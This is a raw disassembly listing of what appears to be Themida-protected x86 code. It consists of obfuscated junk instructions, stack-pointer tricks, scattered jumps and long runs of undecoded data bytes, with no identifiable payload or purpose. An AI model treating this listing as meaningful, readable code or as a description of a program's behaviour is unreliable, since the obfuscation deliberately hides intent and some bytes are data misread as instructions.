dup(0) ; --------------------------------------------------------------------------- loc_558342: ; CODE XREF: Themida_:0055B0D4j push ebx pop esi pop ebx not ebx xchg ebx, esi push 66E1h mov [esp], eax push esi pop eax pop esi push 2D3Bh mov [esp], ecx jmp loc_555708 ; --------------------------------------------------------------------------- db 68h, 0B2h, 2 dd 3C890000h, 3AE95124h, 10000C7h, 4335FF8h, 24043124h dd 8B240433h, 0C3802424h, 0E9C30087h, 20h, 0E6B95159h dd 490A0F3Bh, 0D9F7D1F7h, 4EC81h, 2C890000h, 4EC8124h dd 0E9000000h, 8D92h, 0B4505352h, 58E788A2h, 0B45029B6h dd 0B877E960h, 0F8280000h, 2C5BEC04h, 4EC813Fh, 89000000h dd 5A542414h, 15B068h, 242C8900h, 92BAE9h, 40500h, 0D2E90000h dd 53FFFFBBh, 0C381E389h, 4, 4C381h, 1C330000h, 241C3124h dd 8B241C33h, 0CB812424h, 14EE4000h, 1C381h, 0C3810000h dd 41018341h, 335BD801h, 4312404h, 0E5AAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55841E: ; CODE XREF: Themida_:0056319Ej pop esp push 127Fh mov [esp], esi mov esi, esp jmp loc_55F09D ; --------------------------------------------------------------------------- loc_55842E: ; CODE XREF: Themida_:005501E0j pop ecx push ebx mov bl, 8Ah inc bl add bl, 5Ch and dl, bl jmp loc_55D6CB ; --------------------------------------------------------------------------- dw 0E981h dd 400FDh, 60DE9h, 5E07BE00h, 0F021353Eh, 7493E9h, 8B666400h dd 7C626802h, 78E90000h, 58FFFFC8h, 0FAE9D2F6h, 1FFFF80h dd 0C1C181F1h, 553C7F6Fh, 0FFC4B4E9h, 58E220FFh, 0FF9531E9h db 0FFh ; --------------------------------------------------------------------------- loc_558481: ; CODE XREF: Themida_:005624BBj pop edi add ebp, edx pop edx and eax, ebp mov ebp, [esp] add esp, 4 shr eax, 0Bh jmp loc_555B42 ; --------------------------------------------------------------------------- dd 348BF701h, 4C48124h, 0C1000000h, 0E95605EFh, 6FB5h ; --------------------------------------------------------------------------- loc_5584AC: ; CODE XREF: Themida_:00557046j push eax mov eax, 0F0FA2CEBh add esi, eax jmp loc_55F36F ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4870000h, 0C3295C24h, 5962C381h, 0B8502E76h, 35F864B5h dd 0FFCD7EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5584D5: ; CODE XREF: Themida_:0055B11Fj add edi, edx pop edx jmp loc_5539A6 ; --------------------------------------------------------------------------- loc_5584DD: ; CODE XREF: Themida_:00559D7Ej pop edx push eax mov eax, 31C77893h push edi mov edi, 34BA4F02h push edx mov edx, 67346150h xor edi, edx jmp loc_55FA7F ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0BB13E900h, 0E9800000h, 0AFC380EBh, 0EB80CB00h dd 0EC8359AFh, 240C8904h, 0E9F4B450h, 0B3BDh, 477788BDh dd 0EDC14D14h, 6802h, 46E90000h, 68FFFFE7h, 1960h, 1B12E9h db 0 ; --------------------------------------------------------------------------- loc_558539: ; CODE XREF: Themida_:005580BEj dec edi push edx mov edx, 642F0CEFh neg edx not edx sub edx, 74B46834h xor edi, edx jmp loc_552B03 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 4BD242Ch, 0E9000000h, 0FFFF803Bh, 0FF491A2Dh dd 13580515h, 34FF0959h, 64ABE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558576: ; CODE XREF: Themida_:00550928j push esi mov esi, 0A56E6F78h push edi mov edi, 7B84B34h add ecx, edi pop edi add ecx, esi sub ecx, 7B84B34h pop esi sub edi, ecx pop ecx push edi mov edi, 7DD21DD4h xor edi, 1E01755Ch sub ebx, edi pop edi push edi mov edi, 60736B90h jmp loc_55705E ; --------------------------------------------------------------------------- db 56h dd 0FFE824E9h db 0FFh ; --------------------------------------------------------------------------- loc_5585B1: ; CODE XREF: Themida_:00563916j push dword ptr [esp] mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp add esp, 4 sub esp, 4 mov [esp], esi mov esi, 0AF7760Ch xor ecx, esi pop esi push 42A6h mov [esp], eax push 5548h mov [esp], esi jmp loc_5545F7 ; --------------------------------------------------------------------------- db 83h dd 0C58104C4h, 4, 3FD568h, 24148900h, 468h, 0D5015A00h dd 0FF8A77E9h db 0FFh ; --------------------------------------------------------------------------- loc_558611: ; CODE XREF: Themida_:0055B6A4j add esi, 0FE7033C0h mov ebp, esi pop esi sub ecx, 6D706416h add ecx, ebp add ecx, 6D706416h pop ebp sub esp, 4 mov [esp], ecx push dword ptr [esp+4] jmp loc_5644EF ; --------------------------------------------------------------------------- dd 56E78957h, 4579D668h, 7BAAE946h, 0C8BFFFFh, 7998E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55864E: ; CODE XREF: Themida_:005534CFj add eax, 4 jmp loc_55A154 ; --------------------------------------------------------------------------- dd 3694B850h, 840562B1h, 1B3CB2Bh, 0FB2958C3h, 6218EB81h dd 815F167Ch, 0B52FC5C3h, 81EB2941h, 0B52FC5EBh, 0A6C38141h dd 5D6FE73Ah, 0E9241C33h, 52BEh ; --------------------------------------------------------------------------- loc_55868C: ; CODE XREF: Themida_:00558975j xor edx, 20361386h or edx, 6E252DD2h shr edx, 6 add edx, 17785Dh jmp loc_557A09 ; --------------------------------------------------------------------------- dw 0E9ADh dd 0FFFFB181h, 0BFEE950h, 815B0000h, 2EAh, 24148700h, 98A0E9h dd 12EF8100h, 5E12721Dh, 505FF901h, 43EAE9h, 4C68100h dd 51000000h, 0E165E953h, 1768FFFFh, 8B0CE327h, 0C481241Ch dd 4, 13206857h, 1C890000h, 3369BB24h, 89511874h, 59CF89D9h dd 0FF7CEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_558705: ; CODE XREF: Themida_:0055E75Ej push 4EBh mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] push ebp mov ebp, esp jmp loc_55A559 ; --------------------------------------------------------------------------- loc_55871F: ; CODE XREF: Themida_:00555311j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_5540C2 ; --------------------------------------------------------------------------- dw 0F301h aB@Sxk db ']^@^XK',0 align 4 dd 6851525Fh, 216C3958h, 81240C8Bh, 4C4h, 0EE03E900h, 815BFFFFh dd 4C3h, 4EB8100h, 0E9000000h, 0FFFFE905h, 0F13EE95Eh dd 0C181FFFFh, 423C3CEEh, 4C1815Dh, 33000000h, 0C31240Ch dd 240C3324h, 8324248Bh, 0C8904ECh, 0C0DDB524h, 0EDC003E5h dd 0F6CDFE07h, 52B252DDh, 12BFE9h, 41EB8100h, 81542D3Fh dd 200F6AC3h, 2434FF7Eh, 4C4815Dh, 81000000h, 382CA8C3h dd 56EB2954h, 382CA868h, 0F3295E54h, 8DEB815Eh, 0FF60CF52h dd 505D2434h, 4055854h, 0E9000000h, 0FFFFFCDDh, 82810B05h dd 8AE950E0h, 3300004Dh, 34312434h, 24343324h, 8124248Bh dd 4C4h, 68C80F00h, 7326h, 68243C89h, 6F10h, 0E9242489h dd 0FFFFD49Ah, 0E7BAE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558816: ; CODE XREF: Themida_:0055F171j pop eax push 5DBCh jmp loc_563681 ; --------------------------------------------------------------------------- aBiSr db '!<-',27h,')r',7,0 align 2 dw 481h dd 424h, 0C2815A00h, 4, 8704C283h, 815C2414h, 4C3h, 2C38100h dd 0E9000000h, 0C04Dh ; --------------------------------------------------------------------------- loc_558854: ; CODE XREF: Themida_:005638C9j neg bp and bp, 17E5h jmp loc_55D362 ; --------------------------------------------------------------------------- db 0BDh, 40h, 1 aUmIBilqhHf7 db 'M)]lhhF7',0 align 4 dd 0BD242C89h, 4C225F86h, 0C4C5814Dh, 0E91A523Dh, 0C0DCh ; --------------------------------------------------------------------------- loc_558888: ; CODE XREF: Themida_:00551177j mov edi, 7CE30E8Dh sub edi, 1C0660DBh and edi, 249A63F9h shr edi, 5 sub edi, 104C109h add ecx, 668847BBh sub ecx, edi sub ecx, 668847BBh pop edi xchg ecx, [esp] pop esp mov [esp], edx push eax push 774C5A3Ah pop eax add eax, 88B3A5C7h push esi mov esi, eax mov edx, esi pop esi pop eax and eax, edx push dword ptr [esp] jmp loc_554520 ; --------------------------------------------------------------------------- loc_5588D5: ; CODE XREF: Themida_:005529D3j push eax mov eax, 78F73821h inc eax or eax, 2AD52389h add eax, 48FC4993h xor eax, 576D03C0h sub eax, 72AE58B2h and ecx, eax jmp loc_5598D7 ; --------------------------------------------------------------------------- loc_5588F7: ; CODE XREF: Themida_:005542E6j push esi mov esi, 4B700C50h xor esi, 0A4D3E7Eh sub ebx, esi jmp loc_55107A ; --------------------------------------------------------------------------- dw 433h dd 24043124h, 8B240433h, 29662424h, 0E99C2404h, 0FFFF6EF6h dd 0FF6EF1E9h, 242C8BFFh, 5E08950h, 4, 8704C083h, 248B2404h dd 0F5E95324h, 51000077h, 10AF6B9h, 0E9814106h, 6010AF3h dd 5559C801h, 4BDh, 5DE80100h, 5C240487h, 644568h, 0B2EBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558966: ; CODE XREF: Themida_:00551F34j add esi, 39556DF3h push edx push 406B3164h pop edx not edx jmp loc_55868C ; --------------------------------------------------------------------------- loc_55897A: ; CODE XREF: Themida_:0055C51Aj xchg ecx, [esp] pop esp movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 8EFCE961h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55898A: ; CODE XREF: Themida_:0055B13Cj pop eax xor eax, 0F237B0C0h and ebp, eax pop eax neg ebp sub esp, 4 mov [esp], eax mov eax, 5107020h jmp loc_55718C ; --------------------------------------------------------------------------- loc_5589A5: ; CODE XREF: Themida_:00564256j mov [esp], edi mov edi, 38675469h xor edx, edi mov edi, [esp] add esp, 4 shr edx, 7 add edx, 53986B7Ah push ebx push esi push 2ED62387h mov esi, [esp] push ebx push esp jmp loc_55A530 ; --------------------------------------------------------------------------- dw 0ED80h dd 7301E98Eh, 0F581FFFFh, 0CF378B46h, 0E0895056h, 405h dd 0AC32E900h, 0C483FFFFh, 6B686604h, 0C89662Ah, 0B1515224h dd 80D1F676h, 0C180B7E9h, 59CA8876h, 0D130ECB1h, 66C8305Ah dd 83240C8Bh, 48904ECh, 0D7EAE924h, 6866FFFFh, 0C7E967FBh dd 81FFFF9Bh, 4C6h, 84CAE900h, 0C4830000h, 2FE95704h, 53FFFF9Ch dd 671DE9h, 4C38100h, 87000000h, 248B241Ch, 2404FF24h dd 6DC0E99Ch, 0EE81FFFFh, 5F8D00B7h, 0FFC317E9h, 6C9135FFh dd 0C2891D9Ah, 582434FFh, 3F2268h, 243C8900h, 0C781E789h dd 4, 1F2CE9h db 0 ; --------------------------------------------------------------------------- loc_558A81: ; CODE XREF: Themida_:00563AF9j pop ecx neg dh sub dh, 30h push 148Dh jmp loc_55E5A4 ; --------------------------------------------------------------------------- loc_558A91: ; CODE XREF: Themida_:00558AC2j dec word ptr [esp] pushf jmp loc_54F816 ; --------------------------------------------------------------------------- loc_558A9B: ; CODE XREF: Themida_:0055B127j xchg eax, [esp] mov esp, [esp] neg ecx sub ecx, 6D77163Eh push ebx mov ebx, 0BB1DAF01h add ecx, ebx pop ebx add esi, ecx pop ecx push dword ptr [esp] pop edi add esp, 4 xchg esi, [esp] mov esp, [esp] jmp loc_558A91 ; --------------------------------------------------------------------------- loc_558AC7: ; CODE XREF: Themida_:00556F8Ej pop edi mov ebp, 7B5921E8h add ebp, 6FC673F5h jmp loc_5519DD ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 4C18300h, 2474FF51h, 0AAE95904h, 0FFFF70h dd 4EEF80F7h, 8B81C780h, 20E92414h, 0BA000094h, 70CD18ACh dd 0F281D2F7h, 0B3237D5h, 815AD101h, 4ECh, 242C8900h, 0EB52A268h dd 0EF295D76h, 0E9242C8Bh, 8590h, 68241489h, 2FFDh, 0FF240489h dd 148B2434h, 4C48324h, 835E5456h, 0FCE904ECh, 0F7000089h dd 0E31E9D0h, 0E8C10000h, 0B55BE902h, 48F0000h, 24248B24h dd 0A46DE9h, 0F7015800h, 0FF77FDE9h, 4C483FFh, 34FFD109h dd 54565A24h, 4C6815Eh, 81000000h, 4C6h, 24348700h, 0FF8D71E9h db 0FFh ; --------------------------------------------------------------------------- loc_558B89: ; CODE XREF: Themida_:005514F9j pop esi jmp loc_551D18 ; --------------------------------------------------------------------------- db 0FFh dd 835F2434h, 67E904C4h, 810000C1h, 4ECh, 24048900h, 96CB3B8h dd 6BC63522h, 0C129737Ah, 93C18158h, 5A3F3549h, 26855h dd 2C8B0000h, 4C48124h, 0E9000000h, 35Dh, 4EC835Dh, 53240C89h dd 51828BBh, 245C016Bh, 815D5B04h, 51828EDh, 240C8B6Bh dd 4C481h, 0E9010000h, 0FFA4C8E9h, 0C8B66FFh, 26516824h dd 34890000h, 0EED1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558C06: ; CODE XREF: Themida_:00560BEEj mov ecx, 584E78E7h jmp loc_5533F2 ; --------------------------------------------------------------------------- loc_558C10: ; CODE XREF: Themida_:00554DFCj add ebx, 538A5420h add ebx, edi sub ebx, 538A5420h pop edi push eax push 35024F59h pop eax shl eax, 7 add eax, 330733Ch jmp loc_552FD0 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 10EA8104h, 1169714h, 10C281FAh, 0E9169714h dd 0FFFF82B4h ; --------------------------------------------------------------------------- loc_558C4C: ; CODE XREF: Themida_:00558F87j xor eax, 71056BB9h xor eax, 90134EF6h jmp loc_550EC1 ; --------------------------------------------------------------------------- db 80h dd 0B05010C3h, 0BF87E929h, 0E4680000h, 89000009h, 4812424h dd 424h, 0C2815A00h, 4, 0FFB542E9h db 0FFh ; --------------------------------------------------------------------------- loc_558C81: ; CODE XREF: Themida_:005636BBj add esp, 4 jmp loc_555F27 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd offset dword_457444+444A5h dd 5DE92900h, 0E959CA29h, 0FFFFD5A7h, 6AE8E981h, 0F181358Fh dd 15007485h, 51E98149h, 8188126Ah, 0F77ED6C6h, 81CE0138h dd 0F77ED6EEh, 51555938h, 0FFA42FE9h db 0FFh ; --------------------------------------------------------------------------- loc_558CC5: ; CODE XREF: Themida_:00557EA5j mov edx, ebp pop ebp shl edx, 5 shl edx, 5 neg edx add edx, 198E399Eh push edi push ecx push ebp mov ebp, 7A785BE8h mov ecx, ebp pop ebp and ecx, 2B581245h push edx jmp loc_552957 ; --------------------------------------------------------------------------- db 51h, 0B9h, 10h dd 813FD919h, 0AD425BE9h, 6E1C147h, 0B3C3E9h, 4C38100h dd 87000000h, 0E95C241Ch, 0FFFF7945h, 81240C89h, 58062434h dd 0E95A6E38h, 7F11h, 8101C183h, 18331CC1h, 0E9CB01D9h dd 0BAFCh, 4C781h, 3C870000h, 3C8B5C24h, 4C48124h, 0E9000000h dd 0FFFF6ACEh, 0A4A68h, 242C8900h, 0B32AC7BDh, 6FA3E96Fh dd 87510000h, 0D6F72434h, 59243487h, 0C1814141h, 0C3113C7Ch dd 8904EC83h, 3BB241Ch, 3159D64Eh, 7764E9D9h, 0F000FFFFh dd 1318685Ah, 0BEE90000h, 8BFFFF7Dh, 0C4812414h, 4, 5003ECC0h dd 0FFD331E9h, 243C8BFFh, 81E68956h, 4C6h, 751BE900h, 0EE890000h dd 5D2434FFh, 4C481h, 815B0000h, 9B156DE6h, 0DECE8110h dd 812F691Ch, 0E3822CEh, 27F68123h, 8119FB46h, 7B842BC6h dd 0FFF089D9h, 0E95E2434h, 9F1Ah, 8B241433h, 0B3682424h dd 0E9000045h, 0FFFFA824h, 2E0FBB53h, 0DF31641Eh, 8BF9315Bh dd 0C481243Ch, 4, 7E5A7C2Dh, 7EFE2D42h, 0C82962FEh, 0FE7EFE05h dd 0DAE95562h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558E1F: ; CODE XREF: Themida_:0055700Cj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 xor edx, ecx mov ecx, [esp] add esp, 4 loc_558E3D: ; CODE XREF: Themida_:00552703j ; Themida_:0055611Cj push ebx push 24h push dword ptr [esp] mov ebx, [esp] jmp loc_557F59 ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0BA520000h, 4, 148BD701h, 4C48124h, 33000000h dd 3C31243Ch, 377FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558E72: ; CODE XREF: Themida_:005636EEj push ebx jmp loc_562EFE ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFA498h, 1FE2EE81h, 0E95F1C74h, 0FFFF79B2h dd 53242C8Bh, 0C3815B54h, 4, 8704C383h, 15C241Ch, 0ADBFE9CBh dd 0EC88FFFFh, 88515B59h, 59CE88E1h, 0FF921AE9h db 0FFh ; --------------------------------------------------------------------------- loc_558EB5: ; CODE XREF: Themida_:0055647Bj xor ecx, [esp] jmp loc_559977 ; --------------------------------------------------------------------------- db 0BDh, 2, 0 dd 0EF010000h, 0E9242C8Bh, 838h ; --------------------------------------------------------------------------- loc_558ECC: ; CODE XREF: Themida_:0055BB76j pop edx add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi mov edi, 57E80887h add edi, 8C95B78h add edi, 46B6BCEh xor edi, 5709D554h add ebp, edi mov edi, [esp] add esp, 4 shr ebp, 4 and ebp, 7042191Dh push edx mov edx, 6C435D9Fh jmp loc_560FAE ; --------------------------------------------------------------------------- db 5Bh dd 5C24048Fh, 908B850h, 0ED810010h, 1BB36E11h, 0FF8C36E9h dd 8BE901FFh, 8952242Ch, 0CDD9E9E2h, 0B353FFFFh, 7246E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558F3E: ; CODE XREF: Themida_:00555F3Fj push edi mov edi, 3D930250h and esi, edi pop edi jmp loc_55A3EB ; --------------------------------------------------------------------------- dd 8953C331h, 1163E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558F56: ; CODE XREF: Themida_:005500CAj mov edx, [esp] jmp loc_559C1E ; --------------------------------------------------------------------------- dw 8F58h dd 248B2404h, 960E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558F6A: ; CODE XREF: Themida_:005503D4j mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp sub eax, 4846933h jmp loc_558C4C ; --------------------------------------------------------------------------- dd 0AB5AE947h, 815DFFFFh, 1809A3EDh, 0E9575F2Ah, 0FFFFBAF1h dd 0C49CE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558FA6: ; CODE XREF: Themida_:0055C975j add ebx, 66464DC3h add ebx, eax sub ebx, 66464DC3h pop eax push ecx mov ecx, 254301C1h sub ecx, 254301BDh add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] or eax, eax jmp loc_55F6F7 ; --------------------------------------------------------------------------- db 8Bh dd 0C483241Ch, 4C48304h, 7951C781h, 0EF810F0Ch, 6F4F79D4h dd 3EFEE9h, 51DE2900h, 1D1C05B9h, 81D1F77Eh, 0E6BD4C1h dd 0D9F18166h, 816F765Fh, 646544C1h, 67C1816Ch, 296F4F9Ch dd 480BE9CEh, 34890000h, 81E68924h, 4C6h, 4EE8100h, 87000000h dd 248B2434h, 99CBE924h, 0CF010000h, 0DAC3E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55903E: ; CODE XREF: Themida_:005538A9j mov edx, 198E0324h add ebx, edx pop edx add ecx, 545271FBh sub ecx, ebx sub ecx, 545271FBh jmp loc_561C24 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8124048Bh, 4C4h, 73286800h, 3C890000h, 81E78924h, 4ECh dd 240C8900h, 1285E955h, 5A540000h, 4C281h, 0C2830000h dd 24148704h, 36E9565Ch, 8700002Ah, 0EE9243Ch, 0FFFFFFC8h dd 34FF2434h, 9E685924h, 89000063h, 0E2892414h, 4C281h dd 0EA830000h, 24143304h, 33241431h, 895C2414h, 0C6E9243Ch dd 59FFFFCCh, 5B2434FFh, 3104C483h, 242C8BE8h, 4C481h dd 0A4E90000h, 10000BEh, 0BB5358C2h, 4, 0FF7D55E9h db 0FFh ; --------------------------------------------------------------------------- loc_5590ED: ; CODE XREF: Themida_:00555ADDj push ecx jmp loc_54FA76 ; --------------------------------------------------------------------------- loc_5590F3: ; CODE XREF: Themida_:00559634j push ebp push edi mov edi, ebx jmp loc_5619F1 ; --------------------------------------------------------------------------- dd 8324348Bh, 0EC8304C4h, 242C8904h, 0C581E589h, 4, 4ED81h dd 2C330000h, 242C3124h, 0E9242C33h, 0FFFFC1F2h, 0E9241C8Bh dd 0B975h, 0E14E2BFh, 9CEF817Ah, 813FD57Ah, 464509F7h dd 51A1E90Ah, 3C680000h, 5B08537Ch, 0FFABC3E9h, 5CB951FFh dd 81372E0Fh, 111DF5E9h, 0EC82E96Ch, 6859FFFFh, 2B59h dd 54240C89h, 9C02E9h, 0C8B6600h, 96D5E924h, 0C380FFFFh dd 5FB45055h, 8002E4C0h, 0ECC064F4h, 6C48008h, 0CC80CCFEh dd 46F480ACh, 8B58E328h, 22E92404h, 83FFFFE8h, 1C8904ECh dd 81E38924h, 4ECh, 240C8900h, 115468h, 8A12E900h, 0DE010000h dd 0ACA6E9h db 0 ; --------------------------------------------------------------------------- loc_5591BD: ; CODE XREF: Themida_:005622ECj add edx, ecx pop ecx xor edx, [esp] xor [esp], edx jmp loc_561280 ; --------------------------------------------------------------------------- db 89h dd 0B951242Ch, 25801FD9h, 242C8B51h, 4C481h, 0C8B0000h dd 0E6895624h, 4C681h, 0C6830000h, 66E95604h db 0AFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5591F3: ; CODE XREF: Themida_:00563448j mov [esp], edi push esp mov edi, [esp] add esp, 4 jmp loc_55C798 ; --------------------------------------------------------------------------- loc_559205: ; CODE XREF: Themida_:005539FDj mov ecx, 652904B5h neg ecx push ecx not dword ptr [esp] pop ecx jmp loc_556FAE ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 0C6810000h, 4, 0E9243487h, 7A17h, 8C79E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559232: ; CODE XREF: Themida_:005569B5j add ebx, edi pop edi add eax, ebx pop ebx add eax, edi push esi mov esi, 1A3D39D8h sub esi, 0ED3CBCD7h sub eax, esi jmp loc_56313C ; --------------------------------------------------------------------------- db 5Ch, 89h, 1Ch dd 66B36824h, 2BE97412h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55925B: ; CODE XREF: Themida_:00564FDAj push 36CCh mov [esp], esi push small 36A9h mov si, [esp] add esp, 2 push di mov di, 58Dh xor si, di pop di push bp mov bp, 4FBBh add si, 62EAh sub si, bp sub si, 62EAh pop bp push di mov di, 7DDEh add si, di pop di jmp loc_5638A7 ; --------------------------------------------------------------------------- dw 8F66h dd 6570E902h, 0FF52FFFFh, 0E9042474h, 0FFFF94F7h, 7B0311B8h dd 5959E967h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5592BA: ; CODE XREF: Themida_:005556A5j mov esi, [esp] add esp, 4 push edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx push ebp mov ebp, 4 add edi, ebp jmp loc_554C56 ; --------------------------------------------------------------------------- loc_5592D9: ; CODE XREF: Themida_:00553B78j xchg ebx, [esp] pop esp add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_554939 ; --------------------------------------------------------------------------- db 9 dd 24048BC5h, 4C481h, 0E5E90000h, 54FFFF8Fh, 0C25FE958h dd 48BFFFFh, 6C8A6824h, 4890000h, 65AD6824h, 0AEE90000h dd 81FFFFE5h, 4C7h, 4C78100h, 87000000h, 0F35C243Ch, 386203A5h dd 3066850h, 0C5E97B1Eh, 0B6FFFF7Ch, 0FEC6FE99h, 34EE80CEh dd 7CBDE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559356: ; CODE XREF: Themida_:0054FB32j mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, 4D3B15C3h jmp loc_5503B6 ; --------------------------------------------------------------------------- dw 0D5F7h dd 0ED81DDF7h, 77045905h, 0FF70FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_559381: ; CODE XREF: Themida_:0055B911j mov dx, [esp] push edi push esp pop edi push esi push edx mov edx, 13AC3BF9h sub edx, 0BD34DDDFh mov esi, edx pop edx neg esi inc esi xor esi, 9661EC1h add esi, 24C20CFBh neg esi push eax jmp loc_55F53C ; --------------------------------------------------------------------------- db 0B8h dd 20896C17h, 3158C189h, 5904244Ch, 0E92434FFh, 0FFFFC666h dd 0E941D1F7h, 4956h ; --------------------------------------------------------------------------- loc_5593CC: ; CODE XREF: Themida_:0055F4F7j push edx mov edx, 2856003Ch shr edx, 3 push ecx push ebp mov ebp, 70F455C8h add ebp, 4BC00253h add ebp, 434BA7E4h jmp loc_55408D ; --------------------------------------------------------------------------- loc_5593ED: ; CODE XREF: Themida_:0054FFBAj sub eax, 10DD4535h push dword ptr [esp] pop ebx push edx jmp loc_55AC9B ; --------------------------------------------------------------------------- dd 0E904C283h, 6A10h ; --------------------------------------------------------------------------- loc_559404: ; CODE XREF: Themida_:0055A31Ej mov ebx, ecx mov ecx, [esp] jmp loc_559620 ; --------------------------------------------------------------------------- loc_55940E: ; CODE XREF: Themida_:0055E295j mov edx, [esp] add esp, 4 sub ebp, 6CDE737Eh push edx mov edx, ebp mov ebx, edx pop edx jmp loc_56201E ; --------------------------------------------------------------------------- db 81h, 0E9h, 72h dd 29035727h, 72C181F1h, 5E035727h, 0B9C1815Ah, 0FF6ABB6Fh dd 505E2434h, 18E9E089h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559447: ; CODE XREF: Themida_:005528F1j pop esp jmp loc_55B4F8 ; --------------------------------------------------------------------------- loc_55944D: ; CODE XREF: Themida_:00559F37j push eax mov eax, 4C804445h mov ecx, eax pop eax dec ecx and ecx, 185F4E97h shr ecx, 3 jmp loc_5508A7 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 81241489h, 4ECh, 24248900h, 1757E9h, 0D9C38100h, 10BFF6Ah dd 0D9EB81CBh, 0E90BFF6Ah, 0FFFF825Fh, 4C481h, 48F0000h dd 4C10E924h, 842D0000h, 2D64990Ah, 55130391h, 9105F801h dd 5551303h, 64990A84h, 0FF8DE5E9h, 2434FFFFh, 4C4815Bh dd 55000000h, 0FFB9D1E9h, 4EB83FFh, 6C96E9h, 0F6F38800h dd 0A9D3E9D3h, 595BFFFFh, 815AF188h, 4ECh, 24148900h, 0C9E998B2h dd 0C1FFFF80h, 0E5C107EDh, 0D0F79503h, 0A5ED8195h, 29BAAE72h dd 0E8295DE8h, 0A4E1E9h db 0 ; --------------------------------------------------------------------------- loc_559505: ; CODE XREF: Themida_:00553962j add esp, 4 sub esp, 4 mov [esp], edx mov edx, 5EC403BFh add edx, 0FFFFFFFFh push edx add dword ptr [esp], 0FFFFFFFFh push dword ptr [esp] pop edx add esp, 4 push eax mov eax, 73C385Ch shr eax, 2 sub eax, 43767E40h not eax or eax, 6372A52h jmp loc_55DACD ; --------------------------------------------------------------------------- db 66h dd 8124048Bh, 2C4h, 6753E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55954E: ; CODE XREF: Themida_:005620F8j xchg ebx, [esp] pop esp xor ebx, eax push dword ptr [eax] jmp loc_54F816 ; --------------------------------------------------------------------------- loc_55955B: ; CODE XREF: Themida_:00562AB0j and ecx, esi jmp loc_55F176 ; --------------------------------------------------------------------------- loc_559562: ; CODE XREF: Themida_:0055F416j sub esp, 4 mov [esp], edx push 767B6AAEh push dword ptr [esp] pop edx push 3A1Dh mov [esp], edx push esp pop edx add edx, 4 push ebx mov ebx, 1CF80AACh dec ebx jmp loc_551736 ; --------------------------------------------------------------------------- db 2Dh, 0D4h, 15h dd 0D001234Dh, 8732E9h, 24048700h, 6624248Bh, 9C240431h dd 0FF626DE9h, 4C481FFh, 33000000h, 1C31241Ch, 9FEEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5595BA: ; CODE XREF: Themida_:0055B3ACj sub edi, 66407839h shl edi, 6 xor edi, 0E208F184h add edx, edi mov edi, [esp] add esp, 4 push ecx mov ecx, 156E1509h sub ecx, 0A176EB2h or ecx, 75D53B16h jmp loc_5622E2 ; --------------------------------------------------------------------------- loc_5595E8: ; CODE XREF: Themida_:0055ADADj mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ebx jmp loc_5509AF ; --------------------------------------------------------------------------- dd 9747A205h, 0C20AE902h, 0D15BFFFFh, 0EFBA52E8h, 0E9E05BF4h dd 0FFFFFF6Dh ; --------------------------------------------------------------------------- loc_559620: ; CODE XREF: Themida_:00559409j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop esi jmp loc_5590F3 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4C2h, 24148700h, 2068575Ch, 89000019h, 0AEE92414h dd 8100002Fh, 4C5h, 4ED8300h, 5C242C87h, 83242489h, 5B042404h dd 113BB951h, 0E9814623h, 507B640Fh, 6906E9h db 0 ; --------------------------------------------------------------------------- loc_55967D: ; CODE XREF: Themida_:005507A5j add edi, esi add edi, 3ADD363Ch jmp loc_551EBA ; --------------------------------------------------------------------------- 